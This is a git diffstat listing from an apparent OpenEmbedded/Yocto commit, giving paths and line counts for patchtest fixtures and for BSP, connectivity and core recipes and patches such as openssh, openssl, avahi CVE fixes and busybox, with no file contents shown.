-rw-r--r--meta/lib/patchtest/selftest/files/TestMbox.test_mbox_format.2.fail35
-rw-r--r--meta/lib/patchtest/selftest/files/TestMbox.test_mbox_format.pass33
-rw-r--r--meta/lib/patchtest/selftest/files/TestMbox.test_series_merge_on_head.1.skip35
-rw-r--r--meta/lib/patchtest/selftest/files/TestMbox.test_series_merge_on_head.2.skip41
-rw-r--r--meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_format.fail73
-rw-r--r--meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_format.pass73
-rw-r--r--meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_length.fail73
-rw-r--r--meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_length.pass73
-rw-r--r--meta/lib/patchtest/selftest/files/TestMbox.test_signed_off_by_presence.1.fail71
-rw-r--r--meta/lib/patchtest/selftest/files/TestMbox.test_signed_off_by_presence.2.fail72
-rw-r--r--meta/lib/patchtest/selftest/files/TestMbox.test_signed_off_by_presence.pass72
-rw-r--r--meta/lib/patchtest/selftest/files/TestMetadata.test_cve_check_ignore.fail30
-rw-r--r--meta/lib/patchtest/selftest/files/TestMetadata.test_cve_check_ignore.pass31
-rw-r--r--meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_modified_not_mentioned.fail37
-rw-r--r--meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_modified_not_mentioned.pass39
-rw-r--r--meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_presence.fail53
-rw-r--r--meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_presence.pass54
-rw-r--r--meta/lib/patchtest/selftest/files/TestMetadata.test_src_uri_left_files.fail35
-rw-r--r--meta/lib/patchtest/selftest/files/TestMetadata.test_src_uri_left_files.pass51
-rw-r--r--meta/lib/patchtest/selftest/files/TestMetadata.test_summary_presence.fail46
-rw-r--r--meta/lib/patchtest/selftest/files/TestMetadata.test_summary_presence.pass49
-rw-r--r--meta/lib/patchtest/selftest/files/TestPatch.test_cve_tag_format.fail73
-rw-r--r--meta/lib/patchtest/selftest/files/TestPatch.test_cve_tag_format.pass73
-rw-r--r--meta/lib/patchtest/selftest/files/TestPatch.test_signed_off_by_presence.fail71
-rw-r--r--meta/lib/patchtest/selftest/files/TestPatch.test_signed_off_by_presence.pass72
-rwxr-xr-xmeta/lib/patchtest/selftest/selftest94
-rw-r--r--meta/lib/patchtest/tests/__init__.py (renamed from meta/recipes-graphics/wayland/weston-init/qemux86-64/weston.ini)0
-rw-r--r--meta/lib/patchtest/tests/base.py239
-rw-r--r--meta/lib/patchtest/tests/pyparsing/common.py26
-rw-r--r--meta/lib/patchtest/tests/pyparsing/parse_cve_tags.py18
-rw-r--r--meta/lib/patchtest/tests/pyparsing/parse_shortlog.py14
-rw-r--r--meta/lib/patchtest/tests/pyparsing/parse_signed_off_by.py22
-rw-r--r--meta/lib/patchtest/tests/pyparsing/parse_upstream_status.py24
-rw-r--r--meta/lib/patchtest/tests/test_mbox.py159
-rw-r--r--meta/lib/patchtest/tests/test_metadata.py197
-rw-r--r--meta/lib/patchtest/tests/test_patch.py103
-rw-r--r--meta/lib/patchtest/tests/test_python_pylint.py65
-rw-r--r--meta/lib/patchtest/utils.py168
-rw-r--r--meta/lib/rootfspostcommands.py64
-rw-r--r--meta/recipes-bsp/acpid/acpid.inc15
-rw-r--r--meta/recipes-bsp/acpid/acpid/0001-Replace-stat64-with-stat.patch31
-rw-r--r--meta/recipes-bsp/acpid/acpid_2.0.32.bb7
-rw-r--r--meta/recipes-bsp/acpid/acpid_2.0.34.bb6
-rw-r--r--meta/recipes-bsp/alsa-state/alsa-state.bb20
-rwxr-xr-xmeta/recipes-bsp/alsa-state/alsa-state/alsa-state-init3
-rw-r--r--meta/recipes-bsp/apmd/apmd/apmd.service7
-rw-r--r--meta/recipes-bsp/apmd/apmd/apmd_proxy91
-rw-r--r--meta/recipes-bsp/apmd/apmd/apmd_proxy.conf16
-rw-r--r--meta/recipes-bsp/apmd/apmd/default8
-rwxr-xr-xmeta/recipes-bsp/apmd/apmd/init51
-rw-r--r--meta/recipes-bsp/apmd/apmd/legacy.patch133
-rw-r--r--meta/recipes-bsp/apmd/apmd/libtool.patch33
-rw-r--r--meta/recipes-bsp/apmd/apmd/linkage.patch53
-rw-r--r--meta/recipes-bsp/apmd/apmd/unlinux.patch25
-rw-r--r--meta/recipes-bsp/apmd/apmd/wexitcode.patch26
-rw-r--r--meta/recipes-bsp/apmd/apmd_3.2.2-15.bb85
-rw-r--r--meta/recipes-bsp/efibootmgr/efibootmgr/0001-remove-extra-decl.patch31
-rw-r--r--meta/recipes-bsp/efibootmgr/efibootmgr/97668ae0bce776a36ea2001dea63d376be8274ac.patch83
-rw-r--r--meta/recipes-bsp/efibootmgr/efibootmgr_17.bb35
-rw-r--r--meta/recipes-bsp/efibootmgr/efibootmgr_18.bb32
-rw-r--r--meta/recipes-bsp/efivar/efivar/0001-docs-do-not-build-efisecdb-manpage.patch26
-rw-r--r--meta/recipes-bsp/efivar/efivar/no-werror.patch18
-rw-r--r--meta/recipes-bsp/efivar/efivar_37.bb40
-rw-r--r--meta/recipes-bsp/efivar/efivar_39.bb34
-rwxr-xr-xmeta/recipes-bsp/formfactor/files/qemuppc64/machconfig10
-rw-r--r--meta/recipes-bsp/formfactor/formfactor_0.0.bb1
-rw-r--r--meta/recipes-bsp/gnu-efi/gnu-efi/0001-riscv64-adjust-type-definitions.patch34
-rw-r--r--meta/recipes-bsp/gnu-efi/gnu-efi/0001-riscv64-ignore-unknown-relocs.patch32
-rw-r--r--meta/recipes-bsp/gnu-efi/gnu-efi/lib-Makefile-fix-parallel-issue.patch38
-rw-r--r--meta/recipes-bsp/gnu-efi/gnu-efi/no-werror.patch19
-rw-r--r--meta/recipes-bsp/gnu-efi/gnu-efi/parallel-make-archives.patch17
-rw-r--r--meta/recipes-bsp/gnu-efi/gnu-efi_3.0.12.bb71
-rw-r--r--meta/recipes-bsp/gnu-efi/gnu-efi_3.0.17.bb75
-rw-r--r--meta/recipes-bsp/grub/files/0001-Disable-mfpmath-sse-as-well-when-SSE-is-disabled.patch9
-rw-r--r--meta/recipes-bsp/grub/files/0001-RISC-V-Restore-the-typcast-to-long.patch37
-rw-r--r--meta/recipes-bsp/grub/files/0001-grub.d-10_linux.in-add-oe-s-kernel-name.patch10
-rw-r--r--meta/recipes-bsp/grub/files/autogen.sh-exclude-pc.patch19
-rw-r--r--meta/recipes-bsp/grub/files/grub-module-explicitly-keeps-symbole-.module_license.patch7
-rw-r--r--meta/recipes-bsp/grub/grub-bootconf_1.00.bb4
-rw-r--r--meta/recipes-bsp/grub/grub-efi_2.04.bb93
-rw-r--r--meta/recipes-bsp/grub/grub-efi_2.12.bb105
-rw-r--r--meta/recipes-bsp/grub/grub2.inc39
-rw-r--r--meta/recipes-bsp/grub/grub_2.04.bb38
-rw-r--r--meta/recipes-bsp/grub/grub_2.12.bb41
-rw-r--r--meta/recipes-bsp/keymaps/files/GPLv2.patch347
-rwxr-xr-xmeta/recipes-bsp/keymaps/files/keymap.sh3
-rw-r--r--meta/recipes-bsp/keymaps/keymaps_1.0.bb16
-rw-r--r--meta/recipes-bsp/libacpi/libacpi_0.2.bb3
-rw-r--r--meta/recipes-bsp/lrzsz/lrzsz-0.12.20/0001-Fix-cross-compilation-using-autoconf-detected-AR.patch36
-rw-r--r--meta/recipes-bsp/lrzsz/lrzsz-0.12.20/autotools-update.patch2
-rw-r--r--meta/recipes-bsp/lrzsz/lrzsz_0.12.20.bb6
-rw-r--r--meta/recipes-bsp/opensbi/files/0001-Makefile-Don-t-specify-mabi-or-march.patch36
-rw-r--r--meta/recipes-bsp/opensbi/opensbi-payloads.inc27
-rw-r--r--meta/recipes-bsp/opensbi/opensbi_0.8.bb47
-rw-r--r--meta/recipes-bsp/opensbi/opensbi_1.4.bb47
-rw-r--r--meta/recipes-bsp/pciutils/pciutils/configure.patch49
-rw-r--r--meta/recipes-bsp/pciutils/pciutils_3.11.1.bb64
-rw-r--r--meta/recipes-bsp/pciutils/pciutils_3.7.0.bb59
-rw-r--r--meta/recipes-bsp/pm-utils/pm-utils_1.4.1.bb14
-rw-r--r--meta/recipes-bsp/setserial/setserial/0001-setserial.c-Add-needed-system-headers-for-ioctl-and-.patch41
-rw-r--r--meta/recipes-bsp/setserial/setserial_2.17.bb7
-rw-r--r--meta/recipes-bsp/u-boot/libubootenv_0.2.bb27
-rw-r--r--meta/recipes-bsp/u-boot/libubootenv_0.3.5.bb26
-rw-r--r--meta/recipes-bsp/u-boot/u-boot-common.inc14
-rw-r--r--meta/recipes-bsp/u-boot/u-boot-configure.inc40
-rw-r--r--meta/recipes-bsp/u-boot/u-boot-tools.inc70
-rw-r--r--meta/recipes-bsp/u-boot/u-boot-tools_2024.04.bb (renamed from meta/recipes-bsp/u-boot/u-boot-tools_2020.07.bb)0
-rw-r--r--meta/recipes-bsp/u-boot/u-boot.inc150
-rw-r--r--meta/recipes-bsp/u-boot/u-boot_2020.07.bb4
-rw-r--r--meta/recipes-bsp/u-boot/u-boot_2024.04.bb5
-rw-r--r--meta/recipes-bsp/usbinit/usbinit.bb3
-rw-r--r--meta/recipes-bsp/usbutils/usbutils/0001-usbutils.pc.in-Fix-Cflags-entry.patch34
-rw-r--r--meta/recipes-bsp/usbutils/usbutils_012.bb31
-rw-r--r--meta/recipes-bsp/usbutils/usbutils_017.bb33
-rw-r--r--meta/recipes-bsp/v86d/v86d_0.1.10.bb9
-rw-r--r--meta/recipes-connectivity/avahi/avahi_0.8.bb121
-rw-r--r--meta/recipes-connectivity/avahi/files/CVE-2023-1981.patch58
-rw-r--r--meta/recipes-connectivity/avahi/files/CVE-2023-38469-1.patch48
-rw-r--r--meta/recipes-connectivity/avahi/files/CVE-2023-38469-2.patch65
-rw-r--r--meta/recipes-connectivity/avahi/files/CVE-2023-38470-1.patch59
-rw-r--r--meta/recipes-connectivity/avahi/files/CVE-2023-38470-2.patch52
-rw-r--r--meta/recipes-connectivity/avahi/files/CVE-2023-38471-1.patch73
-rw-r--r--meta/recipes-connectivity/avahi/files/CVE-2023-38471-2.patch52
-rw-r--r--meta/recipes-connectivity/avahi/files/CVE-2023-38472.patch46
-rw-r--r--meta/recipes-connectivity/avahi/files/CVE-2023-38473.patch110
-rw-r--r--meta/recipes-connectivity/avahi/files/handle-hup.patch41
-rw-r--r--meta/recipes-connectivity/avahi/files/invalid-service.patch29
-rw-r--r--meta/recipes-connectivity/avahi/files/local-ping.patch153
-rw-r--r--meta/recipes-connectivity/bind/bind/0001-avoid-start-failure-with-bind-user.patch2
-rw-r--r--meta/recipes-connectivity/bind/bind/0001-configure.in-remove-useless-L-use_openssl-lib.patch30
-rw-r--r--meta/recipes-connectivity/bind/bind/0001-named-lwresd-V-and-start-log-hide-build-options.patch37
-rw-r--r--meta/recipes-connectivity/bind/bind/bind-ensure-searching-for-json-headers-searches-sysr.patch22
-rw-r--r--meta/recipes-connectivity/bind/bind/conf.patch2
-rw-r--r--meta/recipes-connectivity/bind/bind/generate-rndc-key.sh2
-rw-r--r--meta/recipes-connectivity/bind/bind_9.11.21.bb140
-rw-r--r--meta/recipes-connectivity/bind/bind_9.18.25.bb113
-rw-r--r--meta/recipes-connectivity/bluez5/bluez5.inc50
-rw-r--r--meta/recipes-connectivity/bluez5/bluez5/0001-test-gatt-Fix-hung-issue.patch10
-rw-r--r--meta/recipes-connectivity/bluez5/bluez5/0001-tests-add-a-target-for-building-tests-without-runnin.patch10
-rw-r--r--meta/recipes-connectivity/bluez5/bluez5/0004-src-shared-util.c-include-linux-limits.h.patch27
-rw-r--r--meta/recipes-connectivity/bluez5/bluez5_5.54.bb68
-rw-r--r--meta/recipes-connectivity/bluez5/bluez5_5.72.bb69
-rw-r--r--meta/recipes-connectivity/connman/connman-conf.bb39
-rw-r--r--meta/recipes-connectivity/connman/connman-conf/main.conf2
-rw-r--r--meta/recipes-connectivity/connman/connman-conf/qemuall/wired-connection.service10
-rw-r--r--meta/recipes-connectivity/connman/connman-conf/qemuall/wired-setup16
-rw-r--r--meta/recipes-connectivity/connman/connman-conf/qemuall/wired.config9
-rw-r--r--meta/recipes-connectivity/connman/connman-gnome_0.7.bb10
-rw-r--r--meta/recipes-connectivity/connman/connman.inc110
-rw-r--r--meta/recipes-connectivity/connman/connman/0001-src-log.c-Include-libgen.h-for-basename-API.patch55
-rw-r--r--meta/recipes-connectivity/connman/connman/0001-vpn-Adding-support-for-latest-pppd-2.5.0-release.patch152
-rw-r--r--meta/recipes-connectivity/connman/connman/0002-resolve-musl-does-not-implement-res_ninit.patch18
-rw-r--r--meta/recipes-connectivity/connman/connman/connman40
-rw-r--r--meta/recipes-connectivity/connman/connman_1.38.bb16
-rw-r--r--meta/recipes-connectivity/connman/connman_1.42.bb17
-rw-r--r--meta/recipes-connectivity/dhcp/dhcp.inc149
-rw-r--r--meta/recipes-connectivity/dhcp/dhcp/0001-define-macro-_PATH_DHCPD_CONF-and-_PATH_DHCLIENT_CON.patch27
-rw-r--r--meta/recipes-connectivity/dhcp/dhcp/0001-workaround-busybox-limitation-in-linux-dhclient-script.patch65
-rw-r--r--meta/recipes-connectivity/dhcp/dhcp/0002-dhclient-dbus.patch117
-rw-r--r--meta/recipes-connectivity/dhcp/dhcp/0003-link-with-lcrypto.patch35
-rw-r--r--meta/recipes-connectivity/dhcp/dhcp/0004-Fix-out-of-tree-builds.patch95
-rw-r--r--meta/recipes-connectivity/dhcp/dhcp/0005-dhcp-client-fix-invoke-dhclient-script-failed-on-Rea.patch36
-rw-r--r--meta/recipes-connectivity/dhcp/dhcp/0007-Add-configure-argument-to-make-the-libxml2-dependenc.patch62
-rw-r--r--meta/recipes-connectivity/dhcp/dhcp/0009-remove-dhclient-script-bash-dependency.patch28
-rw-r--r--meta/recipes-connectivity/dhcp/dhcp/0012-dhcp-correct-the-intention-for-xml2-lib-search.patch34
-rw-r--r--meta/recipes-connectivity/dhcp/dhcp/0013-fixup_use_libbind.patch64
-rw-r--r--meta/recipes-connectivity/dhcp/dhcp_4.4.2.bb23
-rw-r--r--meta/recipes-connectivity/dhcp/files/default-relay12
-rw-r--r--meta/recipes-connectivity/dhcp/files/default-server7
-rw-r--r--meta/recipes-connectivity/dhcp/files/dhclient-systemd-wrapper39
-rw-r--r--meta/recipes-connectivity/dhcp/files/dhclient.conf50
-rw-r--r--meta/recipes-connectivity/dhcp/files/dhclient.service13
-rw-r--r--meta/recipes-connectivity/dhcp/files/dhcpd.conf108
-rw-r--r--meta/recipes-connectivity/dhcp/files/dhcpd.service15
-rw-r--r--meta/recipes-connectivity/dhcp/files/dhcpd6.service15
-rw-r--r--meta/recipes-connectivity/dhcp/files/dhcrelay.service10
-rw-r--r--meta/recipes-connectivity/dhcp/files/init-relay44
-rw-r--r--meta/recipes-connectivity/dhcp/files/init-server44
-rw-r--r--meta/recipes-connectivity/dhcpcd/dhcpcd_10.0.6.bb61
-rw-r--r--meta/recipes-connectivity/dhcpcd/files/0001-20-resolv.conf-improve-the-sitation-of-working-with-.patch82
-rw-r--r--meta/recipes-connectivity/dhcpcd/files/0001-dhcpcd.8-Fix-conflict-error-when-enable-multilib.patch44
-rw-r--r--meta/recipes-connectivity/dhcpcd/files/0001-remove-INCLUDEDIR-to-prevent-build-issues.patch43
-rw-r--r--meta/recipes-connectivity/dhcpcd/files/dhcpcd.service11
-rw-r--r--meta/recipes-connectivity/dhcpcd/files/dhcpcd@.service16
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils/0001-ftpd-telnetd-Fix-multiple-definitions-of-errcatch-an.patch58
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils/0001-rcp-fix-to-work-with-large-files.patch31
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils/fix-buffer-fortify-tfpt.patch25
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils/fix-disable-ipv6.patch83
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0001-printf-parse-pull-in-features.h-for-__GLIBC__.patch29
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0003-wchar.patch14
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils/inetutils-1.9-PATH_PROCNET_DEV.patch26
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils/inetutils-only-check-pam_appl.h-when-pam-enabled.patch40
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils/version.patch17
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils_1.9.4.bb215
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils_2.5.bb218
-rw-r--r--meta/recipes-connectivity/iproute2/iproute2.inc81
-rw-r--r--meta/recipes-connectivity/iproute2/iproute2/0001-devlink.c-add-missing-include.patch23
-rw-r--r--meta/recipes-connectivity/iproute2/iproute2/0001-libc-compat.h-add-musl-workaround.patch10
-rw-r--r--meta/recipes-connectivity/iproute2/iproute2_5.7.0.bb12
-rw-r--r--meta/recipes-connectivity/iproute2/iproute2_6.7.0.bb106
-rw-r--r--meta/recipes-connectivity/iw/iw_5.4.bb32
-rw-r--r--meta/recipes-connectivity/iw/iw_6.7.bb31
-rw-r--r--meta/recipes-connectivity/kea/files/0001-kea-fix-reproducible-build-failure.patch62
-rw-r--r--meta/recipes-connectivity/kea/files/0001-src-lib-log-logger_unittest_support.cc-do-not-write-.patch28
-rw-r--r--meta/recipes-connectivity/kea/files/fix-multilib-conflict.patch58
-rw-r--r--meta/recipes-connectivity/kea/files/fix_pid_keactrl.patch29
-rw-r--r--meta/recipes-connectivity/kea/files/kea-dhcp-ddns-server46
-rw-r--r--meta/recipes-connectivity/kea/files/kea-dhcp-ddns.service12
-rw-r--r--meta/recipes-connectivity/kea/files/kea-dhcp4-server46
-rw-r--r--meta/recipes-connectivity/kea/files/kea-dhcp4.service13
-rw-r--r--meta/recipes-connectivity/kea/files/kea-dhcp6-server47
-rw-r--r--meta/recipes-connectivity/kea/files/kea-dhcp6.service13
-rw-r--r--meta/recipes-connectivity/kea/kea_2.4.1.bb78
-rw-r--r--meta/recipes-connectivity/libnss-mdns/libnss-mdns_0.14.1.bb38
-rw-r--r--meta/recipes-connectivity/libnss-mdns/libnss-mdns_0.15.1.bb39
-rw-r--r--meta/recipes-connectivity/libpcap/libpcap_1.10.4.bb43
-rw-r--r--meta/recipes-connectivity/libpcap/libpcap_1.9.1.bb44
-rw-r--r--meta/recipes-connectivity/libuv/libuv_1.38.1.bb19
-rw-r--r--meta/recipes-connectivity/libuv/libuv_1.48.0.bb22
-rw-r--r--meta/recipes-connectivity/mobile-broadband-provider-info/mobile-broadband-provider-info_git.bb8
-rw-r--r--meta/recipes-connectivity/neard/neard_0.16.bb50
-rw-r--r--meta/recipes-connectivity/neard/neard_0.19.bb51
-rw-r--r--meta/recipes-connectivity/nfs-utils/nfs-utils/0001-Makefile.am-fix-undefined-function-for-libnsm.a.patch2
-rw-r--r--meta/recipes-connectivity/nfs-utils/nfs-utils/0001-locktest-Makefile.am-Do-not-use-build-flags.patch36
-rw-r--r--meta/recipes-connectivity/nfs-utils/nfs-utils/0001-reexport.h-Include-unistd.h-to-compile-with-musl.patch34
-rw-r--r--meta/recipes-connectivity/nfs-utils/nfs-utils/0001-tools-locktest-Use-intmax_t-to-print-off_t.patch53
-rw-r--r--meta/recipes-connectivity/nfs-utils/nfs-utils/clang-warnings.patch45
-rw-r--r--meta/recipes-connectivity/nfs-utils/nfs-utils/nfs-mountd.service1
-rw-r--r--meta/recipes-connectivity/nfs-utils/nfs-utils/nfs-server.service2
-rw-r--r--meta/recipes-connectivity/nfs-utils/nfs-utils/nfs-statd.service2
-rw-r--r--meta/recipes-connectivity/nfs-utils/nfs-utils_2.5.1.bb145
-rw-r--r--meta/recipes-connectivity/nfs-utils/nfs-utils_2.6.4.bb154
-rw-r--r--meta/recipes-connectivity/ofono/ofono/0002-mbim-Fix-build-with-ell-0.39-by-restoring-unlikely-m.patch28
-rw-r--r--meta/recipes-connectivity/ofono/ofono_1.31.bb50
-rw-r--r--meta/recipes-connectivity/ofono/ofono_2.4.bb55
-rw-r--r--meta/recipes-connectivity/openssh/openssh/0001-regress-banner.sh-log-input-and-output-files-on-erro.patch61
-rw-r--r--meta/recipes-connectivity/openssh/openssh/0001-systemd-Add-optional-support-for-systemd-sd_notify.patch96
-rwxr-xr-xmeta/recipes-connectivity/openssh/openssh/run-ptest16
-rw-r--r--meta/recipes-connectivity/openssh/openssh/ssh_config14
-rw-r--r--meta/recipes-connectivity/openssh/openssh/sshd.service17
-rw-r--r--meta/recipes-connectivity/openssh/openssh/sshd@.service1
-rw-r--r--meta/recipes-connectivity/openssh/openssh/sshd_check_keys4
-rw-r--r--meta/recipes-connectivity/openssh/openssh/sshd_config17
-rw-r--r--meta/recipes-connectivity/openssh/openssh/sshdgenkeys.service1
-rw-r--r--meta/recipes-connectivity/openssh/openssh_8.3p1.bb169
-rw-r--r--meta/recipes-connectivity/openssh/openssh_9.7p1.bb202
-rw-r--r--meta/recipes-connectivity/openssl/files/environment.d-openssl.sh4
-rw-r--r--meta/recipes-connectivity/openssl/openssl/0001-Added-handshake-history-reporting-when-test-fails.patch374
-rw-r--r--meta/recipes-connectivity/openssl/openssl/0001-Configure-do-not-tweak-mips-cflags.patch39
-rw-r--r--meta/recipes-connectivity/openssl/openssl/0001-buildinfo-strip-sysroot-and-debug-prefix-map-from-co.patch42
-rw-r--r--meta/recipes-connectivity/openssl/openssl/0001-skip-test_symbol_presence.patch46
-rw-r--r--meta/recipes-connectivity/openssl/openssl/CVE-2024-2511.patch120
-rw-r--r--meta/recipes-connectivity/openssl/openssl/afalg.patch31
-rw-r--r--meta/recipes-connectivity/openssl/openssl/bti.patch58
-rw-r--r--meta/recipes-connectivity/openssl/openssl/reproducible.patch32
-rw-r--r--meta/recipes-connectivity/openssl/openssl/run-ptest2
-rw-r--r--meta/recipes-connectivity/openssl/openssl_1.1.1g.bb215
-rw-r--r--meta/recipes-connectivity/openssl/openssl_3.2.1.bb264
-rw-r--r--meta/recipes-connectivity/ppp-dialin/ppp-dialin_0.1.bb6
-rw-r--r--meta/recipes-connectivity/ppp/ppp/0001-Fix-build-with-musl.patch124
-rw-r--r--meta/recipes-connectivity/ppp/ppp/0001-ppp-Remove-unneeded-include.patch43
-rw-r--r--meta/recipes-connectivity/ppp/ppp/0001-pppd-Fix-bounds-check-in-EAP-code.patch47
-rw-r--r--meta/recipes-connectivity/ppp/ppp/copts.patch21
-rw-r--r--meta/recipes-connectivity/ppp/ppp/fix-CVE-2015-3310.patch30
-rw-r--r--meta/recipes-connectivity/ppp/ppp/makefile-remove-hard-usr-reference.patch34
-rw-r--r--meta/recipes-connectivity/ppp/ppp/makefile.patch115
-rw-r--r--meta/recipes-connectivity/ppp/ppp/pppd-resolv-varrun.patch45
-rw-r--r--meta/recipes-connectivity/ppp/ppp_2.4.8.bb103
-rw-r--r--meta/recipes-connectivity/ppp/ppp_2.5.0.bb75
-rw-r--r--meta/recipes-connectivity/resolvconf/resolvconf/0001-avoid-using-m-option-for-readlink.patch37
-rw-r--r--meta/recipes-connectivity/resolvconf/resolvconf/fix-path-for-busybox.patch20
-rw-r--r--meta/recipes-connectivity/resolvconf/resolvconf_1.82.bb68
-rw-r--r--meta/recipes-connectivity/resolvconf/resolvconf_1.92.bb67
-rw-r--r--meta/recipes-connectivity/slirp/libslirp_git.bb18
-rw-r--r--meta/recipes-connectivity/socat/files/0001-fix-compile-procan.c-failed.patch62
-rw-r--r--meta/recipes-connectivity/socat/socat_1.7.3.4.bb54
-rw-r--r--meta/recipes-connectivity/socat/socat_1.8.0.0.bb53
-rw-r--r--meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/dropbear_rsa_host_keybin0 -> 805 bytes
-rw-r--r--meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ecdsa_key9
-rw-r--r--meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ecdsa_key.pub1
-rw-r--r--meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ed25519_key7
-rw-r--r--meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ed25519_key.pub1
-rw-r--r--meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_rsa_key38
-rw-r--r--meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_rsa_key.pub1
-rw-r--r--meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys_1.0.bb19
-rw-r--r--meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-AP-Silently-ignore-management-frame-from-unexpected-.patch82
-rw-r--r--meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-Install-wpa_passphrase-when-not-disabled.patch33
-rw-r--r--meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-PEAP-client-Update-Phase-2-authentication-requiremen.patch213
-rw-r--r--meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-WPS-UPnP-Do-not-allow-event-subscriptions-with-URLs-.patch151
-rw-r--r--meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-build-Re-enable-options-for-libwpa_client.so-and-wpa.patch73
-rw-r--r--meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-replace-systemd-install-Alias-with-WantedBy.patch52
-rw-r--r--meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0002-Fix-removal-of-wpa_passphrase-on-make-clean.patch26
-rw-r--r--meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0002-WPS-UPnP-Fix-event-message-generation-using-a-long-U.patch62
-rw-r--r--meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0003-WPS-UPnP-Handle-HTTP-initiation-failures-for-events-.patch50
-rw-r--r--meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/defconfig552
-rw-r--r--meta/recipes-connectivity/wpa-supplicant/wpa-supplicant_2.10.bb138
-rw-r--r--meta/recipes-connectivity/wpa-supplicant/wpa-supplicant_2.9.bb113
-rw-r--r--meta/recipes-core/base-files/base-files/0001-add-nss-resolve-to-nsswitch.patch31
-rw-r--r--meta/recipes-core/base-files/base-files/hosts2
-rw-r--r--meta/recipes-core/base-files/base-files/profile56
-rw-r--r--meta/recipes-core/base-files/base-files_3.0.14.bb29
-rw-r--r--meta/recipes-core/base-passwd/base-passwd/0001-Add-a-shutdown-group.patch26
-rw-r--r--meta/recipes-core/base-passwd/base-passwd/0001-base-passwd-Add-the-sgx-group.patch30
-rw-r--r--meta/recipes-core/base-passwd/base-passwd/0002-Use-bin-sh-instead-of-bin-bash-for-the-root-user.patch23
-rw-r--r--meta/recipes-core/base-passwd/base-passwd/0003-Remove-for-root-since-we-do-not-have-an-etc-shadow.patch21
-rw-r--r--meta/recipes-core/base-passwd/base-passwd/0004-Add-an-input-group-for-the-dev-input-devices.patch23
-rw-r--r--meta/recipes-core/base-passwd/base-passwd/0005-Add-kvm-group.patch23
-rw-r--r--meta/recipes-core/base-passwd/base-passwd/0007-Add-wheel-group.patch20
-rw-r--r--meta/recipes-core/base-passwd/base-passwd/add_shutdown.patch19
-rw-r--r--meta/recipes-core/base-passwd/base-passwd/disable-docs.patch24
-rw-r--r--meta/recipes-core/base-passwd/base-passwd/input.patch22
-rw-r--r--meta/recipes-core/base-passwd/base-passwd/kvm.patch23
-rw-r--r--meta/recipes-core/base-passwd/base-passwd/nobash.patch15
-rw-r--r--meta/recipes-core/base-passwd/base-passwd/noshadow.patch14
-rw-r--r--meta/recipes-core/base-passwd/base-passwd_3.5.29.bb116
-rw-r--r--meta/recipes-core/base-passwd/base-passwd_3.6.3.bb125
-rw-r--r--meta/recipes-core/busybox/busybox-inittab_1.32.0.bb35
-rw-r--r--meta/recipes-core/busybox/busybox-inittab_1.36.1.bb63
-rw-r--r--meta/recipes-core/busybox/busybox.inc129
-rw-r--r--meta/recipes-core/busybox/busybox/0001-Use-CC-when-linking-instead-of-LD-and-use-CFLAGS-and.patch114
-rw-r--r--meta/recipes-core/busybox/busybox/0001-depmod-Ignore-.debug-directories.patch32
-rw-r--r--meta/recipes-core/busybox/busybox/0001-hwclock-make-glibc-2.31-compatible.patch83
-rw-r--r--meta/recipes-core/busybox/busybox/0001-libbb-sockaddr2str-ensure-only-printable-characters-.patch41
-rw-r--r--meta/recipes-core/busybox/busybox/0001-testsuite-check-uudecode-before-using-it.patch6
-rw-r--r--meta/recipes-core/busybox/busybox/0002-nslookup-sanitize-all-printed-strings-with-printable.patch69
-rw-r--r--meta/recipes-core/busybox/busybox/busybox-udhcpc-no_deconfig.patch102
-rw-r--r--meta/recipes-core/busybox/busybox/defconfig215
-rw-r--r--meta/recipes-core/busybox/busybox/fail_on_no_media.patch28
-rw-r--r--meta/recipes-core/busybox/busybox/longopts.cfg15
-rw-r--r--meta/recipes-core/busybox/busybox/mdev.cfg2
-rw-r--r--meta/recipes-core/busybox/busybox/mount-via-label.cfg2
-rw-r--r--meta/recipes-core/busybox/busybox/musl.cfg1
-rw-r--r--meta/recipes-core/busybox/busybox/pgrep.cfg1
-rw-r--r--meta/recipes-core/busybox/busybox/recognize_connmand.patch10
-rw-r--r--meta/recipes-core/busybox/busybox/rev.cfg1
-rw-r--r--meta/recipes-core/busybox/busybox/sha1sum.cfg1
-rw-r--r--meta/recipes-core/busybox/busybox/sha_accel.cfg2
-rw-r--r--meta/recipes-core/busybox/busybox/start-stop-false.patch35
